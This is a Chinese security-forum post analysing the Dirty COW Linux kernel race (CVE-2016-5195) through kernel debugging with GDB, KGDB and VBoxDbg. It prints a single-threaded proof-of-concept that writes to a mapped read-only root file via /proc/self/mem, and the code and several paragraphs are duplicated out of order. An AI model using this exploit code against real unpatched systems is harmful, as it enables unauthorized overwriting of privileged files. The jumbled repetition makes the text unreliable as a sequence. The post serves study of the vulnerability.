首页
社区
课程
招聘
[原创]用VBoxDbg调试并理解单线程版脏牛(CVE-2016-5195)
发表于: 2018-8-5 12:09 10295

[原创]用VBoxDbg调试并理解单线程版脏牛(CVE-2016-5195)

2018-8-5 12:09
10295

调试的总体思路为:

由于Dirty Cow与ASLR/KASLR无关,所以在本实验中为了方便调试已经手动关闭了ASLR

首先直接运行修改过的dirtycowtest(运行结果如图1),可以发现,运行后sensitive.txt文件信息并未发生改变,同时记录下mmap返回地址:0x7ffff7ff7000


图1 直接运行dirtycowtest发现root权限文件未被修改


然后再次运行dirtycowtest程序,同时使用GDB+KGDB观察在__get_user_pages函数内部的执行情况,情况如下(如图2):


图2 第一次调用follow_page_mask后断下


此时(图5)是第二次执行完handle_mm_fault函数,也就是此时内核完成了COW页面的生成过程(但由于是同一进程访问自身内存,所以实际上只有一个物理页面)。然后就需要使用VBoxDbg进行后续工作了:

在Windows平台下,使用Windbg可以对物理内存和一些特殊寄存器进行读写。但是在Linux内核调试的时候,就不那么方便,因为(严格来说)KGDB+Linux内核没有实现这样的功能。即便可以通过编写proc伪文件系统模块来对物理内存进行读写,但还是没有Windbg那种方式感觉方便。于是UP主找了各种资料,最后终于发现一款比较好用的调试器VboxDbg。
VBoxDbg是VirtualBox内建的一款调试器,主要用于调试在VirtualBox内运行的Guest主机。VBoxDbg也可以查看Guest机器的物理内存和GDTR/IDTR等信息。

3、单线程版DirtyCow

脏牛能触发的一个必要原因是:双线程竞争执行、对第四级页表中的PTE进行读写操作。
为了更好的凸显脏牛的Race的问题,我把网上的公开POC修改为一个单线程版本的脏牛poc,具体如下:
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
 
void *map;
int f;
struct stat st;
char *name;
 
void *worker_write(void *arg)
{
        char *str;
        str=(char*)arg;
        int f=open("/proc/self/mem",O_RDWR);
        int i,c=0;
        lseek(f,(uintptr_t) map,SEEK_SET);
        write(f,str,strlen(str));
        printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
        if (argc<3)
        {
                (void)fprintf(stderr, "%s\n","usage: dirtycowtest target_file new_content");
                return 1;
        }
        f=open(argv[1],O_RDONLY);        //这里由于打开的是root权限文件,所以理论上来说使用普通用户权限是无法对root文件进行修改的
        fstat(f,&st);
        name=argv[1];
        map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
        printf("mmap %zx\n\n",(uintptr_t) map);
        worker_write(argv[2]);        //这里尝试进行了写操作  
        return 0;
}
可以看到,代码中只有一个线程,且该线程仅仅执行了一个write动作。我们等下会用VBoxDbg来模拟第二个线程原本的动作(madvise)

4、调试单线程版DirtyCow

调试的总体思路为:

  1. 使用GDB+KGDB在follow_page_mask函数调用返回后的第一条内核指令、以及faultin_page函数内部调用handle_mm_fault函数返回后的第一条内核指令处分别下内存访问断点;
  2. 使用GDB+KGDB监控用户态调用mmap后返回地址处的内存信息;
  3. 在第二次调用handle_mm_fault后借助VBoxDbg手动修改PTE信息并让程序运行起来,观察结果。

脏牛能触发的一个必要原因是:双线程竞争执行、对第四级页表中的PTE进行读写操作。
为了更好的凸显脏牛的Race的问题,我把网上的公开POC修改为一个单线程版本的脏牛poc,具体如下:
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
 
void *map;
int f;
struct stat st;
char *name;
 
void *worker_write(void *arg)
{
        char *str;
        str=(char*)arg;
        int f=open("/proc/self/mem",O_RDWR);
        int i,c=0;
        lseek(f,(uintptr_t) map,SEEK_SET);
        write(f,str,strlen(str));
        printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
        if (argc<3)
        {
                (void)fprintf(stderr, "%s\n","usage: dirtycowtest target_file new_content");
                return 1;
        }
        f=open(argv[1],O_RDONLY);        //这里由于打开的是root权限文件,所以理论上来说使用普通用户权限是无法对root文件进行修改的
        fstat(f,&st);
        name=argv[1];
        map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
        printf("mmap %zx\n\n",(uintptr_t) map);
        worker_write(argv[2]);        //这里尝试进行了写操作  
        return 0;
}
可以看到,代码中只有一个线程,且该线程仅仅执行了一个write动作。我们等下会用VBoxDbg来模拟第二个线程原本的动作(madvise)
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
 
void *map;
int f;
struct stat st;
char *name;
 
void *worker_write(void *arg)
{
        char *str;
        str=(char*)arg;
        int f=open("/proc/self/mem",O_RDWR);
        int i,c=0;
        lseek(f,(uintptr_t) map,SEEK_SET);
        write(f,str,strlen(str));
        printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
        if (argc<3)
        {
                (void)fprintf(stderr, "%s\n","usage: dirtycowtest target_file new_content");
                return 1;
        }
        f=open(argv[1],O_RDONLY);        //这里由于打开的是root权限文件,所以理论上来说使用普通用户权限是无法对root文件进行修改的
        fstat(f,&st);
        name=argv[1];
        map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
        printf("mmap %zx\n\n",(uintptr_t) map);
        worker_write(argv[2]);        //这里尝试进行了写操作  
        return 0;
}
可以看到,代码中只有一个线程,且该线程仅仅执行了一个write动作。我们等下会用VBoxDbg来模拟第二个线程原本的动作(madvise)

4、调试单线程版DirtyCow

调试的总体思路为:

  1. 使用GDB+KGDB在follow_page_mask函数调用返回后的第一条内核指令、以及faultin_page函数内部调用handle_mm_fault函数返回后的第一条内核指令处分别下内存访问断点;
  2. 使用GDB+KGDB监控用户态调用mmap后返回地址处的内存信息;
  3. 在第二次调用handle_mm_fault后借助VBoxDbg手动修改PTE信息并让程序运行起来,观察结果。

由于Dirty Cow与ASLR/KASLR无关,所以在本实验中为了方便调试已经手动关闭了ASLR

首先直接运行修改过的dirtycowtest(运行结果如图1),可以发现,运行后sensitive.txt文件信息并未发生改变,同时记录下mmap返回地址:0x7ffff7ff7000


图1 直接运行dirtycowtest发现root权限文件未被修改


然后再次运行dirtycowtest程序,同时使用GDB+KGDB观察在__get_user_pages函数内部的执行情况,情况如下(如图2):


图2 第一次调用follow_page_mask后断下


由于Dirty Cow与ASLR/KASLR无关,所以在本实验中为了方便调试已经手动关闭了ASLR

首先直接运行修改过的dirtycowtest(运行结果如图1),可以发现,运行后sensitive.txt文件信息并未发生改变,同时记录下mmap返回地址:0x7ffff7ff7000


图1 直接运行dirtycowtest发现root权限文件未被修改


然后再次运行dirtycowtest程序,同时使用GDB+KGDB观察在__get_user_pages函数内部的执行情况,情况如下(如图2):


图2 第一次调用follow_page_mask后断下


可以看到,当前处于刚刚执行完follow_page_mask的时刻(图2),并且此时由于页面未被调入物理内存中,所以用户态地址0x7ffff7ff7000处于无法访问的状态。且此时执行follow_page_mask的返回结果也为0(表示返回错误,未获取到struct page信息)。接下来继续执行,进入到faultin_page函数内部,在handle_mm_fault函数执行完毕后断下:

图3 第一次调用handle_mm_fault后断下

此时(图3)可以看到,地址0x7ffff7ff7000可以被访问到了(页表中PTE状态为present),并且结果为0x000a363534333231(sensitive.txt的文件内容的二进制形式表示)。然后继续执行:

图4 第二次调用follow_page_mask后断下

当再次执行完follow_page_mask函数时(图4),发现虽然地址0x7ffff7ff7000可以被访问了,但follow_page_mask返回值page依然为0。这是由于foll_flags与页表PTE记录的权限信息不符,因此触发了一个写异常。继续执行:

图5 第二次调用handle_mm_fault后断下

此时(图5)是第二次执行完handle_mm_fault函数,也就是此时内核完成了COW页面的生成过程(但由于是同一进程访问自身内存,所以实际上只有一个物理页面)。然后就需要使用VBoxDbg进行后续工作了:

首先通过已知的用户态地址0x7ffff7ff7000,可以计算出在x86_64环境中,其四级页表的每级偏移分别为:0x7F8、0xFF8、0xDF8、0xFB8。这里我们要使用到VBoxDbg的四个命令,分别为:
可以看到,当前处于刚刚执行完follow_page_mask的时刻(图2),并且此时由于页面未被调入物理内存中,所以用户态地址0x7ffff7ff7000处于无法访问的状态。且此时执行follow_page_mask的返回结果也为0(表示返回错误,未获取到struct page信息)。接下来继续执行,进入到faultin_page函数内部,在handle_mm_fault函数执行完毕后断下:

图3 第一次调用handle_mm_fault后断下

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2018-8-8 17:45 被OxLucifer编辑 ,原因:
收藏
免费 3
支持
分享
打赏 + 1.00雪花
打赏次数 1 雪花 + 1.00
 
赞赏  junkboy   +1.00 2018/08/07
最新回复 (2)
雪    币: 5633
活跃值: (7199)
能力值: ( LV15,RANK:531 )
在线值:
发帖
回帖
粉丝
2
学习了!
2018-8-7 00:42
0
雪    币: 3738
活跃值: (3872)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
感谢分享!
2018-8-8 13:20
0
游客
登录 | 注册 方可回帖
返回
//